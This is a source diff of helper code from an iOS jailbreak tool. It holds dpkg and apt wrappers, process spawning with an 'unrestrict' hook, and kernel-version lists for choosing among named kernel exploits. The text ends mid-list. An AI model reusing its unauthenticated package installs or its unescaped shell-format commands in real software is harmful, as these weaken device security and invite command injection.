||||
#define multi_path_exploit 1
|
||||
#define async_wake_exploit 2
|
||||
#define deja_xnu_exploit 3
|
||||
#define necp_exploit 4
|
||||
|
||||
enum hashtype {
|
||||
HASHTYPE_MD5 = 0,
|
||||
HASHTYPE_SHA1
|
||||
};
|
||||
int proc_pidpath(pid_t pid, void *buffer, uint32_t buffersize);
|
||||
|
||||
static inline bool create_file_data(const char *file, int owner, mode_t mode, NSData *data) {
|
||||
return [[NSFileManager defaultManager] createFileAtPath:@(file) contents:data attributes:@{
|
||||
NSFileOwnerAccountID: @(owner),
|
||||
NSFileGroupOwnerAccountID: @(owner),
|
||||
NSFilePosixPermissions: @(mode)
|
||||
}
|
||||
];
|
||||
}
|
||||
|
||||
static inline bool create_file(const char *file, int owner, mode_t mode) {
|
||||
return create_file_data(file, owner, mode, nil);
|
||||
}
|
||||
|
||||
static inline bool clean_file(const char *file) {
|
||||
NSString *path = @(file);
|
||||
if ([[NSFileManager defaultManager] attributesOfItemAtPath:path error:nil]) {
|
||||
return [[NSFileManager defaultManager] removeItemAtPath:path error:nil];
|
||||
}
|
||||
return YES;
|
||||
}
|
||||
|
||||
static inline bool init_file(const char *file, int owner, mode_t mode) {
|
||||
NSString *path = @(file);
|
||||
return ([[NSFileManager defaultManager] fileExistsAtPath:path] &&
|
||||
[[NSFileManager defaultManager] setAttributes:@{
|
||||
NSFileOwnerAccountID: @(owner),
|
||||
NSFileGroupOwnerAccountID: @(owner),
|
||||
NSFilePosixPermissions: @(mode)
|
||||
} ofItemAtPath:path error:nil]);
|
||||
}
|
||||
|
||||
int sha1_to_str(const unsigned char *hash, size_t hashlen, char *buf, size_t buflen);
|
||||
NSString *sha1sum(NSString *file);
|
||||
bool verifySha1Sums(NSString *sumFile);
|
||||
bool verifySums(NSString *sumFile, enum hashtype hash);
|
||||
int _system(const char *cmd);
|
||||
int systemf(const char *cmd, ...);
|
||||
bool pkgIsInstalled(char *packageID);
|
||||
bool pkgIsConfigured(char *packageID);
|
||||
bool pkgIsBy(const char *maintainer, const char *packageID);
|
||||
bool compareInstalledVersion(const char *packageID, const char *op, const char *version);
|
||||
bool extractDeb(NSString *debPath);
|
||||
bool extractDebs(NSArray <NSString *> *debPaths);
|
||||
bool installDeb(const char *debName, bool forceDeps);
|
||||
bool installDebs(NSArray <NSString*> *debs, bool forceDeps);
|
||||
bool removePkg(char *packageID, bool forceDeps);
|
||||
bool removePkgs(NSArray <NSString*> *packageIDs, bool forceDeps);
|
||||
BOOL compareDpkgVersion(NSString *version1, NSString *op, NSString *version2, BOOL *result);
|
||||
NSString *debForPkg(NSString *pkg);
|
||||
bool aptUpdate(void);
|
||||
bool aptInstall(NSArray <NSString*> *pkgs);
|
||||
bool aptUpgrade(void);
|
||||
bool runApt(NSArray <NSString*> *args);
|
||||
bool is_symlink(const char *filename);
|
||||
bool is_directory(const char *filename);
|
||||
bool is_mountpoint(const char *filename);
|
||||
bool ensure_directory(const char *directory, int owner, mode_t mode);
|
||||
bool ensure_file(const char *file, int owner, mode_t mode);
|
||||
bool ensure_symlink(const char *to, const char *from);
|
||||
bool mode_is(const char *filename, mode_t mode);
|
||||
int runCommandv(const char *cmd, int argc, const char * const* argv, void (^unrestrict)(pid_t));
|
||||
int runCommand(const char *cmd, ...);
|
||||
NSString *pathForResource(NSString *resource);
|
||||
pid_t pidOfProcess(const char *name);
|
||||
bool kernelVersionContains(const char *string);
|
||||
bool multi_path_tcp_enabled(void);
|
||||
bool jailbreakEnabled(void);
|
||||
bool supportsExploit(NSInteger exploit);
|
||||
bool jailbreakSupported(void);
|
||||
bool respringSupported(void);
|
||||
bool restartSupported(void);
|
||||
NSInteger recommendedJailbreakSupport(void);
|
||||
NSInteger recommendedRestartSupport(void);
|
||||
NSInteger recommendedRespringSupport(void);
|
||||
bool daemonIsLoaded(char *daemonID);
|
||||
NSString *bundledResourcesVersion(void);
|
||||
NSString *appVersion(void);
|
||||
bool debuggerEnabled(void);
|
||||
const char *getLogFile(void);
|
||||
void enableLogging(void);
|
||||
void disableLogging(void);
|
||||
void cleanLogs(void);
|
||||
bool modifyPlist(NSString *filename, void (^function)(id));
|
||||
void list(NSString *directory);
|
||||
|
||||
#endif /* utils_h */
|
||||
extern NSData *lastSystemOutput;
|
||||
|
||||
#endif /* _UTILS_H */
|
||||
|
||||
+856
-3
@@ -3,15 +3,30 @@
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Sam Bingner on 11/23/18.
|
||||
// Copyright © 2018 Pwn20wnd. All rights reserved.
|
||||
// Copyright © 2018 - 2019 Sam Bingner. All rights reserved.
|
||||
//
|
||||
|
||||
#import <mach/error.h>
|
||||
#import <sys/sysctl.h>
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <CommonCrypto/CommonDigest.h>
|
||||
#import <spawn.h>
|
||||
#include <copyfile.h>
|
||||
#include <common.h>
|
||||
#include <libproc.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#import "ArchiveFile.h"
|
||||
#import "utils.h"
|
||||
|
||||
int sha1_to_str(const unsigned char *hash, int hashlen, char *buf, size_t buflen)
|
||||
extern char **environ;
|
||||
int logfd=-1;
|
||||
|
||||
static NSString *sourcePath=nil;
|
||||
NSData *lastSystemOutput=nil;
|
||||
|
||||
int sha1_to_str(const unsigned char *hash, size_t hashlen, char *buf, size_t buflen)
|
||||
{
|
||||
if (buflen < (hashlen*2+1)) {
|
||||
return -1;
|
||||
@@ -51,7 +66,37 @@ NSString *sha1sum(NSString *file)
|
||||
return [NSString stringWithUTF8String:checksum];
|
||||
}
|
||||
|
||||
NSString *md5sum(NSString *file)
|
||||
{
|
||||
uint8_t buffer[0x1000];
|
||||
unsigned char md[CC_SHA1_DIGEST_LENGTH];
|
||||
|
||||
if (![[NSFileManager defaultManager] fileExistsAtPath:file])
|
||||
return nil;
|
||||
|
||||
NSInputStream *fileStream = [NSInputStream inputStreamWithFileAtPath:file];
|
||||
[fileStream open];
|
||||
|
||||
CC_MD5_CTX c;
|
||||
CC_MD5_Init(&c);
|
||||
while ([fileStream hasBytesAvailable]) {
|
||||
NSInteger read = [fileStream read:buffer maxLength:0x1000];
|
||||
CC_MD5_Update(&c, buffer, (CC_LONG)read);
|
||||
}
|
||||
|
||||
CC_MD5_Final(md, &c);
|
||||
|
||||
char checksum[CC_MD5_DIGEST_LENGTH * 2 + 1];
|
||||
if (sha1_to_str(md, CC_MD5_DIGEST_LENGTH, checksum, sizeof(checksum)) != ERR_SUCCESS)
|
||||
return nil;
|
||||
return [NSString stringWithUTF8String:checksum];
|
||||
}
|
||||
|
||||
bool verifySha1Sums(NSString *sumFile) {
|
||||
return verifySums(sumFile, HASHTYPE_SHA1);
|
||||
}
|
||||
|
||||
bool verifySums(NSString *sumFile, enum hashtype hash) {
|
||||
if (![[NSFileManager defaultManager] fileExistsAtPath:sumFile])
|
||||
return false;
|
||||
|
||||
@@ -70,7 +115,15 @@ bool verifySha1Sums(NSString *sumFile) {
|
||||
LOG("Invalid line \"%s\"", checksum.UTF8String);
|
||||
return false;
|
||||
}
|
||||
NSString *fileSum = sha1sum(suminfo[1]);
|
||||
NSString *fileSum;
|
||||
switch (hash) {
|
||||
case HASHTYPE_SHA1:
|
||||
fileSum = sha1sum(suminfo[1]);
|
||||
break;
|
||||
case HASHTYPE_MD5:
|
||||
fileSum = md5sum(suminfo[1]);
|
||||
break;
|
||||
}
|
||||
if (![fileSum.lowercaseString isEqualToString:suminfo[0]]) {
|
||||
LOG("Corrupted \"%s\"", [suminfo[1] UTF8String]);
|
||||
return false;
|
||||
@@ -80,3 +133,803 @@ bool verifySha1Sums(NSString *sumFile) {
|
||||
LOG("No errors in verifying checksums");
|
||||
return true;
|
||||
}
|
||||
|
||||
int _system(const char *cmd) {
|
||||
const char *argv[] = {"sh", "-c", (char *)cmd, NULL};
|
||||
return runCommandv("/bin/sh", 3, argv, NULL);
|
||||
}
|
||||
|
||||
int systemf(const char *cmd, ...) {
|
||||
va_list ap;
|
||||
va_start(ap, cmd);
|
||||
NSString *cmdstr = [[NSString alloc] initWithFormat:@(cmd) arguments:ap];
|
||||
va_end(ap);
|
||||
return system([cmdstr UTF8String]);
|
||||
}
|
||||
|
||||
bool pkgIsInstalled(char *packageID) {
|
||||
int rv = systemf("/usr/bin/dpkg -s \"%s\" 2>/dev/null | grep -i ^Status: | grep -q \"install ok\"", packageID);
|
||||
bool isInstalled = !WEXITSTATUS(rv);
|
||||
LOG("Deb: \"%s\" is%s installed", packageID, isInstalled?"":" not");
|
||||
return isInstalled;
|
||||
}
|
||||
|
||||
bool pkgIsConfigured(char *packageID) {
|
||||
int rv = systemf("/usr/bin/dpkg -s \"%s\" 2>/dev/null | grep -i ^Status: | grep -q \"install ok installed\"", packageID);
|
||||
bool isConfigured = !WEXITSTATUS(rv);
|
||||
LOG("Deb: \"%s\" is%s installed", packageID, isConfigured?"":" not");
|
||||
return isConfigured;
|
||||
}
|
||||
|
||||
bool pkgIsBy(const char *maintainer, const char *packageID) {
|
||||
int rv = systemf("/usr/bin/dpkg -s \"%s\" 2>/dev/null | grep -i ^Maintainer: | grep -qi \"%s\"", packageID, maintainer);
|
||||
bool isBy = !WEXITSTATUS(rv);
|
||||
LOG("Deb: \"%s\" is%s by %s", packageID, isBy?"":" not", maintainer);
|
||||
return isBy;
|
||||
}
|
||||
|
||||
bool compareInstalledVersion(const char *packageID, const char *op, const char *version) {
|
||||
int rv = systemf("/usr/bin/dpkg --compare-versions $(dpkg-query --showformat='${Version}' --show \"%s\") \"%s\" \"%s\"",
|
||||
packageID, op, version);
|
||||
rv = !WEXITSTATUS(rv);
|
||||
LOG("Deb %s is%s %s %s", packageID, rv?"":" not", op, version);
|
||||
return rv;
|
||||
}
|
||||
|
||||
bool runDpkg(NSArray <NSString*> *args, bool forceDeps) {
|
||||
if ([args count] < 2) {
|
||||
LOG("%s: Nothing to do", __FUNCTION__);
|
||||
return false;
|
||||
}
|
||||
NSMutableArray <NSString*> *command = [NSMutableArray
|
||||
arrayWithArray:@[
|
||||
@"/usr/bin/dpkg",
|
||||
@"--force-bad-path",
|
||||
@"--force-configure-any",
|
||||
@"--no-triggers"
|
||||
]];
|
||||
|
||||
if (forceDeps) {
|
||||
[command addObjectsFromArray:@[@"--force-depends", @"--force-remove-essential"]];
|
||||
}
|
||||
for (NSString *arg in args) {
|
||||
[command addObject:arg];
|
||||
}
|
||||
const char *argv[command.count];
|
||||
for (int i=0; i<[command count]; i++) {
|
||||
argv[i] = [command[i] UTF8String];
|
||||
}
|
||||
argv[command.count] = NULL;
|
||||
int rv = runCommandv("/usr/bin/dpkg", (int)[command count], argv, NULL);
|
||||
return !WEXITSTATUS(rv);
|
||||
}
|
||||
|
||||
bool extractDeb(NSString *debPath) {
|
||||
if (![debPath hasSuffix:@".deb"]) {
|
||||
LOG(@"%@: not a deb", debPath);
|
||||
return NO;
|
||||
}
|
||||
if ([debPath containsString:@"firmware-sbin"]) {
|
||||
// No, just no.
|
||||
return YES;
|
||||
}
|
||||
NSPipe *pipe = [NSPipe pipe];
|
||||
if (pipe == nil) {
|
||||
LOG(@"Unable to make a pipe!");
|
||||
return NO;
|
||||
}
|
||||
ArchiveFile *deb = [ArchiveFile archiveWithFile:debPath];
|
||||
if (deb == nil) {
|
||||
return NO;
|
||||
}
|
||||
ArchiveFile *tar = [ArchiveFile archiveWithFd:pipe.fileHandleForReading.fileDescriptor];
|
||||
if (tar == nil) {
|
||||
return NO;
|
||||
}
|
||||
LOG("Extracting %@", debPath);
|
||||
dispatch_queue_t extractionQueue = dispatch_queue_create(NULL, NULL);
|
||||
dispatch_async(extractionQueue, ^{
|
||||
[deb extractFileNum:3 toFd:pipe.fileHandleForWriting.fileDescriptor];
|
||||
});
|
||||
return [tar extractToPath:@"/"];
|
||||
}
|
||||
|
||||
bool extractDebs(NSArray <NSString *> *debPaths) {
|
||||
if ([debPaths count] < 1) {
|
||||
LOG("%s: Nothing to install", __FUNCTION__);
|
||||
return false;
|
||||
}
|
||||
for (NSString *debPath in debPaths) {
|
||||
if (!extractDeb(debPath))
|
||||
return NO;
|
||||
}
|
||||
return YES;
|
||||
}
|
||||
|
||||
bool installDeb(const char *debName, bool forceDeps) {
|
||||
return runDpkg(@[@"-i", @(debName)], forceDeps);
|
||||
}
|
||||
|
||||
bool installDebs(NSArray <NSString*> *debs, bool forceDeps) {
|
||||
if ([debs count] < 1) {
|
||||
LOG("%s: Nothing to install", __FUNCTION__);
|
||||
return false;
|
||||
}
|
||||
return runDpkg([@[@"-i"] arrayByAddingObjectsFromArray:debs], forceDeps);
|
||||
}
|
||||
|
||||
bool removePkg(char *packageID, bool forceDeps) {
|
||||
return runDpkg(@[@"-r", @(packageID)], forceDeps);
|
||||
}
|
||||
|
||||
bool removePkgs(NSArray <NSString*> *pkgs, bool forceDeps) {
|
||||
if ([pkgs count] < 1) {
|
||||
LOG("%s: Nothing to remove", __FUNCTION__);
|
||||
return false;
|
||||
}
|
||||
return runDpkg([@[@"-r"] arrayByAddingObjectsFromArray:pkgs], forceDeps);
|
||||
}
|
||||
|
||||
bool runApt(NSArray <NSString*> *args) {
|
||||
if ([args count] < 1) {
|
||||
LOG("%s: Nothing to do", __FUNCTION__);
|
||||
return false;
|
||||
}
|
||||
NSMutableArray <NSString*> *command = [NSMutableArray arrayWithArray:@[
|
||||
@"/usr/bin/apt-get",
|
||||
@"-o", @"Dir::Etc::sourcelist=undecimus/undecimus.list",
|
||||
@"-o", @"Dir::Etc::sourceparts=-",
|
||||
@"-o", @"APT::Get::List-Cleanup=0"
|
||||
]];
|
||||
[command addObjectsFromArray:args];
|
||||
|
||||
const char *argv[command.count];
|
||||
for (int i=0; i<[command count]; i++) {
|
||||
argv[i] = [command[i] UTF8String];
|
||||
}
|
||||
argv[command.count] = NULL;
|
||||
int rv = runCommandv(argv[0], (int)[command count], argv, NULL);
|
||||
return !WEXITSTATUS(rv);
|
||||
}
|
||||
|
||||
bool aptUpdate() {
|
||||
return runApt(@[@"update"]);
|
||||
}
|
||||
|
||||
bool aptInstall(NSArray <NSString*> *pkgs) {
|
||||
return runApt([@[@"-y", @"--allow-unauthenticated", @"--allow-downgrades", @"install"]
|
||||
arrayByAddingObjectsFromArray:pkgs]);
|
||||
}
|
||||
|
||||
bool aptUpgrade() {
|
||||
return runApt(@[@"-y", @"--allow-unauthenticated", @"--allow-downgrades", @"-f", @"dist-upgrade"]);
|
||||
}
|
||||
|
||||
bool is_symlink(const char *filename) {
|
||||
struct stat buf;
|
||||
if (lstat(filename, &buf) != ERR_SUCCESS) {
|
||||
return false;
|
||||
}
|
||||
return S_ISLNK(buf.st_mode);
|
||||
}
|
||||
|
||||
bool is_directory(const char *filename) {
|
||||
struct stat buf;
|
||||
if (lstat(filename, &buf) != ERR_SUCCESS) {
|
||||
return false;
|
||||
}
|
||||
return S_ISDIR(buf.st_mode);
|
||||
}
|
||||
|
||||
bool is_mountpoint(const char *filename) {
|
||||
struct stat buf;
|
||||
if (lstat(filename, &buf) != ERR_SUCCESS) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!S_ISDIR(buf.st_mode))
|
||||
return false;
|
||||
|
||||
char *cwd = getcwd(NULL, 0);
|
||||
int rv = chdir(filename);
|
||||
assert(rv == ERR_SUCCESS);
|
||||
struct stat p_buf;
|
||||
rv = lstat("..", &p_buf);
|
||||
assert(rv == ERR_SUCCESS);
|
||||
if (cwd) {
|
||||
chdir(cwd);
|
||||
free(cwd);
|
||||
}
|
||||
return buf.st_dev != p_buf.st_dev || buf.st_ino == p_buf.st_ino;
|
||||
}
|
||||
|
||||
bool ensure_directory(const char *directory, int owner, mode_t mode) {
|
||||
NSString *path = @(directory);
|
||||
NSFileManager *fm = [NSFileManager defaultManager];
|
||||
id attributes = [fm attributesOfItemAtPath:path error:nil];
|
||||
if (attributes &&
|
||||
[attributes[NSFileType] isEqual:NSFileTypeDirectory] &&
|
||||
[attributes[NSFileOwnerAccountID] isEqual:@(owner)] &&
|
||||
[attributes[NSFileGroupOwnerAccountID] isEqual:@(owner)] &&
|
||||
[attributes[NSFilePosixPermissions] isEqual:@(mode)]
|
||||
) {
|
||||
// Directory exists and matches arguments
|
||||
return true;
|
||||
}
|
||||
if (attributes) {
|
||||
if ([attributes[NSFileType] isEqual:NSFileTypeDirectory]) {
|
||||
// Item exists and is a directory
|
||||
return [fm setAttributes:@{
|
||||
NSFileOwnerAccountID: @(owner),
|
||||
NSFileGroupOwnerAccountID: @(owner),
|
||||
NSFilePosixPermissions: @(mode)
|
||||
} ofItemAtPath:path error:nil];
|
||||
} else if (![fm removeItemAtPath:path error:nil]) {
|
||||
// Item exists and is not a directory but could not be removed
|
||||
return false;
|
||||
}
|
||||
}
|
||||
// Item does not exist at this point
|
||||
return [fm createDirectoryAtPath:path withIntermediateDirectories:YES attributes:@{
|
||||
NSFileOwnerAccountID: @(owner),
|
||||
NSFileGroupOwnerAccountID: @(owner),
|
||||
NSFilePosixPermissions: @(mode)
|
||||
} error:nil];
|
||||
}
|
||||
|
||||
bool ensure_symlink(const char *to, const char *from) {
|
||||
ssize_t wantedLength = strlen(to);
|
||||
ssize_t maxLen = wantedLength + 1;
|
||||
char link[maxLen];
|
||||
ssize_t linkLength = readlink(from, link, sizeof(link));
|
||||
if (linkLength != wantedLength ||
|
||||
strncmp(link, to, maxLen) != ERR_SUCCESS
|
||||
) {
|
||||
if (!clean_file(from)) {
|
||||
return false;
|
||||
}
|
||||
if (symlink(to, from) != ERR_SUCCESS) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ensure_file(const char *file, int owner, mode_t mode) {
|
||||
NSString *path = @(file);
|
||||
NSFileManager *fm = [NSFileManager defaultManager];
|
||||
id attributes = [fm attributesOfItemAtPath:path error:nil];
|
||||
if (attributes &&
|
||||
[attributes[NSFileType] isEqual:NSFileTypeDirectory] &&
|
||||
[attributes[NSFileOwnerAccountID] isEqual:@(owner)] &&
|
||||
[attributes[NSFileGroupOwnerAccountID] isEqual:@(owner)] &&
|
||||
[attributes[NSFilePosixPermissions] isEqual:@(mode)]
|
||||
) {
|
||||
// Directory exists and matches arguments
|
||||
return true;
|
||||
}
|
||||
if (attributes) {
|
||||
if ([attributes[NSFileType] isEqual:NSFileTypeRegular]) {
|
||||
// Item exists and is a file
|
||||
return [fm setAttributes:@{
|
||||
NSFileOwnerAccountID: @(owner),
|
||||
NSFileGroupOwnerAccountID: @(owner),
|
||||
NSFilePosixPermissions: @(mode)
|
||||
} ofItemAtPath:path error:nil];
|
||||
} else if (![fm removeItemAtPath:path error:nil]) {
|
||||
// Item exists and is not a file but could not be removed
|
||||
return false;
|
||||
}
|
||||
}
|
||||
// Item does not exist at this point
|
||||
return [fm createFileAtPath:path contents:nil attributes:@{
|
||||
NSFileOwnerAccountID: @(owner),
|
||||
NSFileGroupOwnerAccountID: @(owner),
|
||||
NSFilePosixPermissions: @(mode)
|
||||
}];
|
||||
}
|
||||
|
||||
bool mode_is(const char *filename, mode_t mode) {
|
||||
struct stat buf;
|
||||
if (lstat(filename, &buf) != ERR_SUCCESS) {
|
||||
return false;
|
||||
}
|
||||
return buf.st_mode == mode;
|
||||
}
|
||||
|
||||
int runCommandv(const char *cmd, int argc, const char * const* argv, void (^unrestrict)(pid_t)) {
|
||||
pid_t pid;
|
||||
posix_spawn_file_actions_t *actions = NULL;
|
||||
posix_spawn_file_actions_t actionsStruct;
|
||||
int out_pipe[2];
|
||||
bool valid_pipe = false;
|
||||
posix_spawnattr_t *attr = NULL;
|
||||
posix_spawnattr_t attrStruct;
|
||||
|
||||
NSMutableString *cmdstr = [NSMutableString stringWithCString:cmd encoding:NSUTF8StringEncoding];
|
||||
for (int i=1; i<argc; i++) {
|
||||
[cmdstr appendFormat:@" \"%s\"", argv[i]];
|
||||
}
|
||||
|
||||
valid_pipe = pipe(out_pipe) == ERR_SUCCESS;
|
||||
if (valid_pipe && posix_spawn_file_actions_init(&actionsStruct) == ERR_SUCCESS) {
|
||||
actions = &actionsStruct;
|
||||
posix_spawn_file_actions_adddup2(actions, out_pipe[1], 1);
|
||||
posix_spawn_file_actions_adddup2(actions, out_pipe[1], 2);
|
||||
posix_spawn_file_actions_addclose(actions, out_pipe[0]);
|
||||
posix_spawn_file_actions_addclose(actions, out_pipe[1]);
|
||||
}
|
||||
|
||||
if (unrestrict && posix_spawnattr_init(&attrStruct) == ERR_SUCCESS) {
|
||||
attr = &attrStruct;
|
||||
posix_spawnattr_setflags(attr, POSIX_SPAWN_START_SUSPENDED);
|
||||
}
|
||||
|
||||
int rv = posix_spawn(&pid, cmd, actions, attr, (char *const *)argv, environ);
|
||||
LOG("%s(%d) command: %@", __FUNCTION__, pid, cmdstr);
|
||||
|
||||
if (unrestrict) {
|
||||
unrestrict(pid);
|
||||
kill(pid, SIGCONT);
|
||||
}
|
||||
|
||||
if (valid_pipe) {
|
||||
close(out_pipe[1]);
|
||||
}
|
||||
|
||||
if (rv == ERR_SUCCESS) {
|
||||
if (valid_pipe) {
|
||||
NSMutableData *outData = [NSMutableData new];
|
||||
char c;
|
||||
char s[2] = {0, 0};
|
||||
NSMutableString *line = [NSMutableString new];
|
||||
while (read(out_pipe[0], &c, 1) == 1) {
|
||||
[outData appendBytes:&c length:1];
|
||||
if (c == '\n') {
|
||||
LOG("%s(%d): %@", __FUNCTION__, pid, line);
|
||||
[line setString:@""];
|
||||
} else {
|
||||
s[0] = c;
|
||||
[line appendString:@(s)];
|
||||
}
|
||||
}
|
||||
if ([line length] > 0) {
|
||||
LOG("%s(%d): %@", __FUNCTION__, pid, line);
|
||||
}
|
||||
lastSystemOutput = [outData copy];
|
||||
}
|
||||
if (waitpid(pid, &rv, 0) == -1) {
|
||||
LOG("ERROR: Waitpid failed");
|
||||
} else {
|
||||
LOG("%s(%d) completed with exit status %d", __FUNCTION__, pid, WEXITSTATUS(rv));
|
||||
}
|
||||
|
||||
} else {
|
||||
LOG("%s(%d): ERROR posix_spawn failed (%d): %s", __FUNCTION__, pid, rv, strerror(rv));
|
||||
rv <<= 8; // Put error into WEXITSTATUS
|
||||
}
|
||||
if (valid_pipe) {
|
||||
close(out_pipe[0]);
|
||||
}
|
||||
return rv;
|
||||
}
|
||||
|
||||
int runCommand(const char *cmd, ...) {
|
||||
va_list ap, ap2;
|
||||
int argc = 1;
|
||||
|
||||
va_start(ap, cmd);
|
||||
va_copy(ap2, ap);
|
||||
|
||||
while (va_arg(ap, const char *) != NULL) {
|
||||
argc++;
|
||||
}
|
||||
va_end(ap);
|
||||
|
||||
const char *argv[argc+1];
|
||||
argv[0] = cmd;
|
||||
for (int i=1; i<argc; i++) {
|
||||
argv[i] = va_arg(ap2, const char *);
|
||||
}
|
||||
va_end(ap2);
|
||||
argv[argc] = NULL;
|
||||
|
||||
int rv = runCommandv(cmd, argc, argv, NULL);
|
||||
return WEXITSTATUS(rv);
|
||||
}
|
||||
|
||||
NSString *pathForResource(NSString *resource) {
|
||||
NSString *path = [[sourcePath stringByAppendingPathComponent:resource] stringByStandardizingPath];
|
||||
if (![[NSFileManager defaultManager] fileExistsAtPath:path]) {
|
||||
return nil;
|
||||
}
|
||||
return path;
|
||||
}
|
||||
|
||||
pid_t pidOfProcess(const char *name) {
|
||||
int numberOfProcesses = proc_listpids(PROC_ALL_PIDS, 0, NULL, 0);
|
||||
pid_t pids[numberOfProcesses];
|
||||
bzero(pids, sizeof(pids));
|
||||
proc_listpids(PROC_ALL_PIDS, 0, pids, (int)sizeof(pids));
|
||||
for (int i = 0; i < numberOfProcesses; ++i) {
|
||||
if (pids[i] == 0) {
|
||||
continue;
|
||||
}
|
||||
char pathBuffer[PROC_PIDPATHINFO_MAXSIZE];
|
||||
bzero(pathBuffer, PROC_PIDPATHINFO_MAXSIZE);
|
||||
proc_pidpath(pids[i], pathBuffer, sizeof(pathBuffer));
|
||||
if (strlen(pathBuffer) > 0 && strcmp(pathBuffer, name) == 0) {
|
||||
return pids[i];
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool kernelVersionContains(const char *string) {
|
||||
struct utsname u = { 0 };
|
||||
uname(&u);
|
||||
return (strstr(u.version, string) != NULL);
|
||||
}
|
||||
|
||||
#define AF_MULTIPATH 39
|
||||
|
||||
bool multi_path_tcp_enabled() {
|
||||
bool rv = false;
|
||||
int sock = socket(AF_MULTIPATH, SOCK_STREAM, 0);
|
||||
if (sock < 0) {
|
||||
return rv;
|
||||
}
|
||||
struct sockaddr* sockaddr_src = malloc(sizeof(struct sockaddr));
|
||||
memset(sockaddr_src, 'A', sizeof(struct sockaddr));
|
||||
sockaddr_src->sa_len = sizeof(struct sockaddr);
|
||||
sockaddr_src->sa_family = AF_INET6;
|
||||
struct sockaddr* sockaddr_dst = malloc(sizeof(struct sockaddr));
|
||||
memset(sockaddr_dst, 'A', sizeof(struct sockaddr));
|
||||
sockaddr_dst->sa_len = sizeof(struct sockaddr);
|
||||
sockaddr_dst->sa_family = AF_INET;
|
||||
sa_endpoints_t eps = {0};
|
||||
eps.sae_srcif = 0;
|
||||
eps.sae_srcaddr = sockaddr_src;
|
||||
eps.sae_srcaddrlen = sizeof(struct sockaddr);
|
||||
eps.sae_dstaddr = sockaddr_dst;
|
||||
eps.sae_dstaddrlen = sizeof(struct sockaddr);
|
||||
connectx(sock, &eps, SAE_ASSOCID_ANY, 0, NULL, 0, NULL, NULL);
|
||||
rv = (errno != EPERM);
|
||||
free(sockaddr_src);
|
||||
free(sockaddr_dst);
|
||||
close(sock);
|
||||
return rv;
|
||||
}
|
||||
|
||||
bool jailbreakEnabled() {
|
||||
return kernelVersionContains(DEFAULT_VERSION_STRING);
|
||||
}
|
||||
|
||||
bool supportsExploit(NSInteger exploit) {
|
||||
switch (exploit) {
|
||||
case empty_list_exploit: {
|
||||
NSArray *list =
|
||||
@[@"4397.0.0.2.4~1",
|
||||
@"4481.0.0.2.1~1",
|
||||
@"4532.0.0.0.1~30",
|
||||
@"4556.0.0.2.5~1",
|
||||
@"4570.1.24.2.3~1",
|
||||
@"4570.2.3~8",
|
||||
@"4570.2.5~84",
|
||||
@"4570.2.5~167",
|
||||
@"4570.7.2~3",
|
||||
@"4570.20.55~10",
|
||||
@"4570.20.62~9",
|
||||
@"4570.20.62~4",
|
||||
@"4570.30.79~22",
|
||||
@"4570.30.85~18",
|
||||
@"4570.32.1~2",
|
||||
@"4570.32.1~1",
|
||||
@"4570.40.6~8",
|
||||
@"4570.40.9~7",
|
||||
@"4570.40.9~1",
|
||||
@"4570.50.243~9",
|
||||
@"4570.50.257~6",
|
||||
@"4570.50.279~9",
|
||||
@"4570.50.294~5",
|
||||
@"4570.52.2~3",
|
||||
@"4570.52.2~8",
|
||||
@"4570.60.10.0.1~16",
|
||||
@"4570.60.16~9",
|
||||
@"4570.60.19~25"];
|
||||
for (NSString *string in list) {
|
||||
if (kernelVersionContains(string.UTF8String)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case multi_path_exploit: {
|
||||
NSArray *list =
|
||||
@[@"4397.0.0.2.4~1",
|
||||
@"4481.0.0.2.1~1",
|
||||
@"4532.0.0.0.1~30",
|
||||
@"4556.0.0.2.5~1",
|
||||
@"4570.1.24.2.3~1",
|
||||
@"4570.2.3~8",
|
||||
@"4570.2.5~84",
|
||||
@"4570.2.5~167",
|
||||
@"4570.7.2~3",
|
||||
@"4570.20.55~10",
|
||||
@"4570.20.62~9",
|
||||
@"4570.20.62~4",
|
||||
@"4570.30.79~22",
|
||||
@"4570.30.85~18",
|
||||
@"4570.32.1~2",
|
||||
@"4570.32.1~1",
|
||||
@"4570.40.6~8",
|
||||
@"4570.40.9~7",
|
||||
@"4570.40.9~1",
|
||||
@"4570.50.243~9",
|
||||
@"4570.50.257~6",
|
||||
@"4570.50.279~9",
|
||||
@"4570.50.294~5",
|
||||
@"4570.52.2~3",
|
||||
@"4570.52.2~8",];
|
||||
for (NSString *string in list) {
|
||||
if (kernelVersionContains(string.UTF8String) &&
|
||||
multi_path_tcp_enabled()) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case async_wake_exploit: {
|
||||
NSArray *list =
|
||||
@[@"4397.0.0.2.4~1",
|
||||
@"4481.0.0.2.1~1",
|
||||
@"4532.0.0.0.1~30",
|
||||
@"4556.0.0.2.5~1",
|
||||
@"4570.1.24.2.3~1",
|
||||
@"4570.2.3~8",
|
||||
@"4570.2.5~84",
|
||||
@"4570.2.5~167",
|
||||
@"4570.7.2~3",
|
||||
@"4570.20.55~10",
|
||||
@"4570.20.62~9",
|
||||
@"4570.20.62~4"];
|
||||
for (NSString *string in list) {
|
||||
if (kernelVersionContains(string.UTF8String)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case deja_xnu_exploit: {
|
||||
NSArray *list =
|
||||
@[@"4397.0.0.2.4~1",
|
||||
@"4481.0.0.2.1~1",
|
||||
@"4532.0.0.0.1~30",
|
||||
@"4556.0.0.2.5~1",
|
||||
@"4570.1.24.2.3~1",
|
||||
@"4570.2.3~8",
|
||||
@"4570.2.5~84",
|
||||
@"4570.2.5~167",
|
||||
@"4570.7.2~3",
|
||||
@"4570.20.55~10",
|
||||
@"4570.20.62~9",
|
||||
@"4570.20.62~4",
|
||||
@"4570.30.79~22",
|
||||
@"4570.30.85~18",
|
||||
@"4570.32.1~2",
|
||||
@"4570.32.1~1",
|
||||
@"4570.40.6~8",
|
||||
@"4570.40.9~7",
|
||||
@"4570.40.9~1",
|
||||
@"4570.50.243~9",
|
||||
